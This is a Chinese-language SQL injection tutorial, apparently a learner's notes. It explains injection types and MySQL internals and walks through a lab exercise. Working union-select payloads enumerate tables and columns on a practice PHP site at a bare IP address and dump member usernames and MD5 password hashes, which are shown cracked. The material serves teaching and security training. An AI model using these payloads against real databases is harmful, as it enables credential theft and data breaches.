前言
SQL注入是比較常見的網絡攻擊方式之一,它不是利用作業系統的BUG來實作攻擊,而是針對程式員編寫時的疏忽,通過SQL語句,實作無賬号登入,甚至篡改資料庫。

SQL簡介
SQL 是一門 ANSI 的标準計算機語言,用來通路和操作資料庫系統-。SQL 語句用于取回和更新資料庫中的資料。SQL 可與資料庫程式協同工作,比如 MS Access、DB2、Informix、MS SQL Server、Oracle、Sybase 以及其他資料庫系統。
SQL注入
SQL注入就是一種通過操作輸入來修改背景SQL語句達到代碼執行進行攻擊目的的技術。
SQL注入産生原理
- 對使用者輸入的參數沒有進行嚴格過濾(如過濾單雙引号 尖括号等),就被帶到資料庫執行,造成了SQL注入
- 使用了字元串拼接的方式構造SQL語句
SQL注入的分類
從注入手法分類可以分為:聯合查詢注入、報錯型注入、布爾型注入、延時注入、堆疊注入
從資料類型上可以分為:字元型(即輸入的輸入使用符号進行過濾)、數值型(即輸入的輸入未使用符号進行過濾)
從注入位置可以分類為:GET資料(送出資料方式為GET,大多存在位址欄)、POST資料(送出資料方式為POST,大多存在輸入框中)、HTTP頭部(送出資料方式為HTTP頭部)、cookie資料(送出資料方式為cookie)
SQL注入的危害
分為兩類:危害資料庫裡的資料、直接危害到網站的權限(需要滿足條件)
- 資料庫資訊洩露
- 網頁篡改:登陸背景後釋出惡意内容
- 網站挂馬 : 當拿到webshell時或者擷取到伺服器的權限以後,可将一些網頁木馬挂在伺服器上,去攻擊别人
- 私自添加系統賬号
- 讀寫檔案擷取webshell
MYSQL資料庫
資料庫A=網站A=資料庫使用者A
表名
列名
資料
資料庫B=網站B=資料庫使用者B
。。。。。。
資料庫C=網站C=資料庫使用者C
必要知識
1.在MYSQL5.0以上版本中,MYSQL存在一個自帶資料庫名為information_schema,它是一個存儲記錄有所有資料庫名,表名,列名的資料庫,也相當于可以通過查詢它擷取指定資料庫下面的表名或者列名資訊。
2.資料庫中符号"."代表下一級,如xiaodi.user表示xiaodi資料庫下的user表名。
3.常用參數
- information_schema.tables:記錄所有表名資訊的表
- information_schema.columns:記錄所有列名資訊的表
- table_name:表名
- column_name:列名
- table_schema:資料庫名
- user() 檢視目前MySQL登入的使用者名
- database() 檢視目前使用MySQL資料庫名
- version() 檢視目前MySQL版本
如何判斷注入點
1.如果頁面中MySQL報錯,證明該頁面中存在SQL注入漏洞
單引号 '
and 1=1
and 1=2
SELECT * FROM users WHERE id=1 and 1=1 LIMIT 0,1 正常
SELECT * FROM users WHERE id=1 and 1=2 LIMIT 0,1 錯誤
2.邏輯運算符(或與非)
真 且 真 = 真
真 且 假 = 假
真 或 假 = 真
SELECT * FROM users WHERE id=1 真
1=1 真
1=2 假
真且真=真
真且假=假
SELECT * FROM users WHERE id=1 or 1=1 LIMIT 0,1 正常
SELECT * FROM users WHERE id=1 or 1=2 LIMIT 0,1 正常
SQL注入利用
1.利用order判斷字段數
order by x(數字) 正常與錯誤的正常值 正确網頁正常顯示,錯誤網頁報錯 ?id=1' order by 3--+
2.利用 union select 聯合查詢,将id值設定成不成立,即可探測到可利用的字段數
?id=-1 union select 1,2,3 --+
3.利用函數database(),user(),version()可以得到所探測資料庫的資料庫名、使用者名和版本号
?id=-1 union select 1,database(),version() --+
4.利用 union select 聯合查詢,擷取表名
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='已知庫名'--+
5.利用 union select 聯合查詢,擷取字段名
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='已知表名'--+
6.利用 union select 聯合查詢,擷取字段值
?id=-1' union select 1,2,group_concat(已知字段名,':'已知字段名) from 已知表名--+
測試示範
要選用最舒服的方法測試:
SELECT * FROM users WHERE id=1asdsadsad(随便輸入) LIMIT 0,1
随便輸入後對網頁有影響說明帶入資料庫進行查詢,有注入點,沒有影響說明沒有帶入資料庫查詢,出現404錯誤說明對輸入檢測,沒有漏洞
1.猜解列名數量(字段數)
order by x(數字) 正常與錯誤的正常值 正确網頁正常顯示,錯誤網頁報錯
http://219.153.49.228:48965/new_list.php?id=1 order by 4
2.報錯猜解準備
http://219.153.49.228:48965/new_list.php?id=1 union select 1,2,3,4 http://219.153.49.228:48965/new_list.php?id=-1 union select 1,2,3,4 或者 http://219.153.49.228:48965/new_list.php?id=1 and 1=2 union select 1,2,3,4
3.資訊收集
資料庫版本:version() == 5.7.22-0ubuntu0.16.04.1==
資料庫名字:database() == mozhe_Discuz_StormGroup==
資料庫使用者:user() root@localhost
作業系統:@@version_compile_os Linux
http://219.153.49.228:48965/new_list.php?id=1 and 1=2 union select 1,version(),database(),4 http://219.153.49.228:48965/new_list.php?id=1 and 1=2 union select 1,user(),@@version_compile_os,4
4.查詢指定資料庫名 “mozhe_Discuz_StormGroup” 下的表名資訊:
- 查詢一個
http://219.153.49.228:48965/new_list.php?id=-1 union select 1,table_name,3,4 from information_schema.tables where table_schema='mozhe_Discuz_StormGroup'
- 查詢所有
http://219.153.49.228:48965/new_list.php?id=-1 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='mozhe_Discuz_StormGroup'
- 查詢到的表名
StormGroup_member, notice
5.查詢指定表名“StormGroup_member”下的列名資訊
http://219.153.49.228:48965/new_list.php?id=-1 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='StormGroup_member'
查詢的結果
id,name,password,status
6.查詢指定資料
http://219.153.49.228:48965/new_list.php?id=-1 union select 1,name,password,4 from StormGroup_member
查詢結果
mozhe 356f589a7df439f6f744ff19bb8092c0 -md5解密--> dsan13
7.猜解多個資料可以采用limit x,1變動猜解
http://219.153.49.228:48965/new_list.php?id=-1 union select 1,name,password,4 from StormGroup_member limit 0,1 mozhe 356f589a7df439f6f744ff19bb8092c0 --md5解密--> dsan13
http://219.153.49.228:48965/new_list.php?id=-1 union select 1,name,password,4 from StormGroup_member limit 1,1 mozhe 2ae4c2ac594629684e67554fc5ad6ee1 --md5解密--> 147719
題目
- 可能存在注入的編号選項有哪幾個?
www.xiaodi8.com/index.php?id=8 www.xiaodi8.com/?id=10 www.xiaodi8.com/?id=10&x=1 www.xiaodi8.com/index.php(post注入)
- 參數有x注入,以下哪個注入測試正确
A.www.xiaodi8.com/new/php?y=1 and 1=1&x=2 B.www.xiaodi8.com/new/php?y=1&x=2 and 1=1 C.www.xiaodi8.com/new/php?y=1 and 1=1 & x=2 and 1=1 D.www.xiaodi8.com/new/php?xx=1 and 1=1&xxx=2 and 1=1
- 如果參數id存在注入點,參數的位置可以互換,使用工具的時候要注意
http://www/cnhgs.net/main.php?id53(注入點) and 1=2 &page=1 -> http://www/cnhgs.net/main.php?page=1&id53(注入點) and 1=2